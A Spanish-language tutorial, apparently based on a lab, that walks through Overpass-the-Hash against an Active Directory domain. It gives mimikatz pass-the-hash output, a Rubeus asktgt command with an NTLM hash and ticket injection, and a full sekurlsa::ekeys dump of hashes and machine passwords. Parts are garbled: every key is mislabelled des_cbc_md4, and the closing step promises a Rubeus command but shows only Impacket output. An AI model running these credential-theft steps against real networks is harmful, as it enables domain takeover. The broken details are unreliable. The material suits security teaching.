Lo que se va a realizar en esta tecnica es que cuando se realiza una autenticacion de kerberos este consulta en la clave privada cifrada con un hash del usuario que esta escrita en memoria ya para poder darle el Ticket de servicio, pues esta tecnica consiste en sobreescribir esta parte de la memoria por el hash que nosotros queramos poner ahi, para posteriormente poder obtener ese ticket y podernos hacer pasar por dicho usuario del hash que hayamos insertado en dicha memoria.
Vamos a utilizar mimikatz en este caso, como hemos visto antes podremos obtener el hash del usuario en las logon sessions del proceso lsass volcandolo con mimikatz.
Y despues realizabamos la tecnica de pth con el mimikatz para obtener una shell como el usuario administrador en cmd, en la informacion que nos daba, que era algo asi:
user : Administrator
domain : corp.local
program : cmd.exe
impers. : no
NTLM : a87f3a337d73085c45f9416be5787d86
| PID 3448
| TID 3228
| LSA Process is now R/W
| LUID 0 ; 7674536 (00000000:00751aa8)
\_ msv1_0 - data copy @ 00000224E7C04E80 : OK !
\_ kerberos - data copy @ 00000224E7D777C8
\_ des_cbc_md4 -> null
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ *Password replace @ 00000224E7679D38 (32) -> null
Vemos en esta parte de aqui:
msv1_0 - data copy @ 00000224E7C04E80 : OK !
Que estaba sobreescribiendo en la direccion de memoria 00000224E7C04E80 del proceso lsass el hash que nosotros le habiamos pasado del administrador mediante el paquete de autenticacion msv1_0 que se corresponde con el paquete de autenticacion NTLM, pero si seguimos viendo, seguidamente veremos esto:
kerberos - data copy @ 00000224E7D777C8
Vemos que tambien nos esta sobreescribiendo la direccion de memoria 00000224E7D777C8 donde esta el hash que se almacena de la autenticacion de kerberos por nuestro hash que hemos metido con mimikatz pudiendo realizar asi tambien acciones respecto al dominio.
Por ejemplo, si nosotros ponemos esto, cuando obtenermos el cmd autenticados como el administrador en los 2 protocolos:
dir \\DC01\c$
Veremos que si nos deja listar ya que sobreescribimos nuestro hash tambien en el de kerberos que es el que se encarga del dominio en estos casos de autenticacion frente a un dominio y si lo hicieramos con una IP seria mediante la autenticacion NTLM.
Con Rubeus.exe podremos solicitar un TGT como el usuario Administrador con el hash NTLM que obtuvimos anteriormente, para que nos lo proporcione el mismo kerberos.
Abrimos una PowerShell como administrador local:
cd C:\Users\empleado1\Desktop\Rubeus-master\Rubeus\bin\Debug
.\Rubeus.exe asktgt /domain:corp.local /user:Administrator /rc4:a87f3a337d73085c45f9416be5787d86 /ptt
Y vemos que hemos obtenido perfectamente el TGT del usuario Administrador.
Todo este proceso se llama Over PTH por que estamos cogiendo el hash NTLM y lo utilizamos primero en el protocolo de autenticacion NTLM que es donde debe utilizarse, y hacemos un over lo volvemos a utilizar en este caso para el protocolo de autenticacion kerberos
Nosotros podremos listar de la misma forma que lo hacemos con los hashes NTLM las claves que estan inyectadas en memoria de kerberos con la herramienta mimikatz:
Ejecutaremos mimikatz:
sekurlsa::
Nos aparecera el help del comando y nos interesaran estas opciones:
tickets - List Kerberos tickets
ekeys - List Kerberos Encryption Keys
Por lo que haremos lo siguiente:
sekurlsa::ekeys
Info:
Authentication Id : 0 ; 5869195 (00000000:00598e8b)
Session : Interactive from 0
User Name : Administrator
Domain : CORP
Logon Server : DC01
Logon Time : 21/01/2025 10:28:20
SID : S-1-5-21-3352250647-938130414-2449934813-500
* Username : Administrator
* Domain : CORP.LOCAL
* Password : (null)
* Key List :
des_cbc_md4 db7e98b663293b6af815f7c70cc8b33ca68cb4b01039b768e24c1823fdf762cd
des_cbc_md4 a87f3a337d73085c45f9416be5787d86
des_cbc_md4 a87f3a337d73085c45f9416be5787d86
des_cbc_md4 a87f3a337d73085c45f9416be5787d86
des_cbc_md4 a87f3a337d73085c45f9416be5787d86
des_cbc_md4 a87f3a337d73085c45f9416be5787d86
Authentication Id : 0 ; 481707 (00000000:000759ab)
Session : Interactive from 1
User Name : empleado1
Domain : CORP
Logon Server : DC01
Logon Time : 21/01/2025 9:14:40
SID : S-1-5-21-3352250647-938130414-2449934813-1104
* Username : empleado1
* Domain : CORP.LOCAL
* Password : (null)
* Key List :
des_cbc_md4 0fb09c66d747b41162bc91719f4131179a0203c2152bd3ea96ef1a394f981775
des_cbc_md4 1791df33b45987df23e4fe6c57ea6de7
des_cbc_md4 1791df33b45987df23e4fe6c57ea6de7
des_cbc_md4 1791df33b45987df23e4fe6c57ea6de7
des_cbc_md4 1791df33b45987df23e4fe6c57ea6de7
des_cbc_md4 1791df33b45987df23e4fe6c57ea6de7
Authentication Id : 0 ; 76456 (00000000:00012aa8)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 21/01/2025 9:14:18
SID : S-1-5-90-0-1
* Username : WS01$
* Domain : corp.local
* Password : W2UkIN'=^U\uRLwnNQE<-f]K_v3rD5"'uhN0A=$lN"Wuekd4JVo>l_lP\]'6w,)3^]O^QV'.28)OxQAI,:%_hr]84%Ih"dEor\c-"_/oegr"_alxGdYbwwY_
* Key List :
des_cbc_md4 b459ebc8222bf5569aeaf1e80cfaadd6acdec1aeeb9d50b068d37cb8883c70f5
des_cbc_md4 810f872d2ccb9f2dae00f095f34296aa
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
Authentication Id : 0 ; 76424 (00000000:00012a88)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 21/01/2025 9:14:18
SID : S-1-5-90-0-1
* Username : WS01$
* Domain : corp.local
* Password : W2UkIN'=^U\uRLwnNQE<-f]K_v3rD5"'uhN0A=$lN"Wuekd4JVo>l_lP\]'6w,)3^]O^QV'.28)OxQAI,:%_hr]84%Ih"dEor\c-"_/oegr"_alxGdYbwwY_
* Key List :
des_cbc_md4 b459ebc8222bf5569aeaf1e80cfaadd6acdec1aeeb9d50b068d37cb8883c70f5
des_cbc_md4 810f872d2ccb9f2dae00f095f34296aa
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : WS01$
Domain : CORP
Logon Server : (null)
Logon Time : 21/01/2025 9:14:18
SID : S-1-5-20
* Username : ws01$
* Domain : CORP.LOCAL
* Password : (null)
* Key List :
des_cbc_md4 9a9fc7447f8fa5521eeef5af175be7af2189392bc0d56f2e7d41e4c15cdad294
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
Authentication Id : 0 ; 53105 (00000000:0000cf71)
Session : Interactive from 1
User Name : UMFD-1
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 21/01/2025 9:14:17
SID : S-1-5-96-0-1
* Username : WS01$
* Domain : corp.local
* Password : W2UkIN'=^U\uRLwnNQE<-f]K_v3rD5"'uhN0A=$lN"Wuekd4JVo>l_lP\]'6w,)3^]O^QV'.28)OxQAI,:%_hr]84%Ih"dEor\c-"_/oegr"_alxGdYbwwY_
* Key List :
des_cbc_md4 b459ebc8222bf5569aeaf1e80cfaadd6acdec1aeeb9d50b068d37cb8883c70f5
des_cbc_md4 810f872d2ccb9f2dae00f095f34296aa
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
Authentication Id : 0 ; 53092 (00000000:0000cf64)
Session : Interactive from 0
User Name : UMFD-0
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 21/01/2025 9:14:17
SID : S-1-5-96-0-0
* Username : WS01$
* Domain : corp.local
* Password : W2UkIN'=^U\uRLwnNQE<-f]K_v3rD5"'uhN0A=$lN"Wuekd4JVo>l_lP\]'6w,)3^]O^QV'.28)OxQAI,:%_hr]84%Ih"dEor\c-"_/oegr"_alxGdYbwwY_
* Key List :
des_cbc_md4 b459ebc8222bf5569aeaf1e80cfaadd6acdec1aeeb9d50b068d37cb8883c70f5
des_cbc_md4 810f872d2ccb9f2dae00f095f34296aa
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : WS01$
Domain : CORP
Logon Server : (null)
Logon Time : 21/01/2025 9:14:17
SID : S-1-5-18
* Username : ws01$
* Domain : CORP.LOCAL
* Password : (null)
* Key List :
des_cbc_md4 9a9fc7447f8fa5521eeef5af175be7af2189392bc0d56f2e7d41e4c15cdad294
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
des_cbc_md4 afc5c02d936d73808ce716070e883ab8
Aqui veremos las claves de cada uno de los usuarios que estan inyectadas en memoria pero del protocolo kerberos.
Aqui estamos viendo que nos muestra el mismo hash que cuando volcabamos el NTLM del administrador pero aunque ponga des_cbc_md4 lo estamos viendo en rc4 como antes estabamos forzando la autenticacion con Rubeus a kerberos y el primero de todos que es el mas largo esta cifrado el hash original que vemos abajo con el cifrado AES-256 que es el que utiliza por defecto kerberos ya que es mas seguro, pero los 2 tipos de hashes los soporta kerberos como hemos visto antes.
Si por ejemplo queremos utilizar el hashAES-256 para la herramienta Rubeus.exe lo haremos de la siguiente forma:
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in Administrator.ccache
Vemos que se guardo correctamente, ahora si lo leemos nos apareceran caractares raros, pero es por que nos ha volcado el TGT en un archivo directamente, en vez de por la pantalla.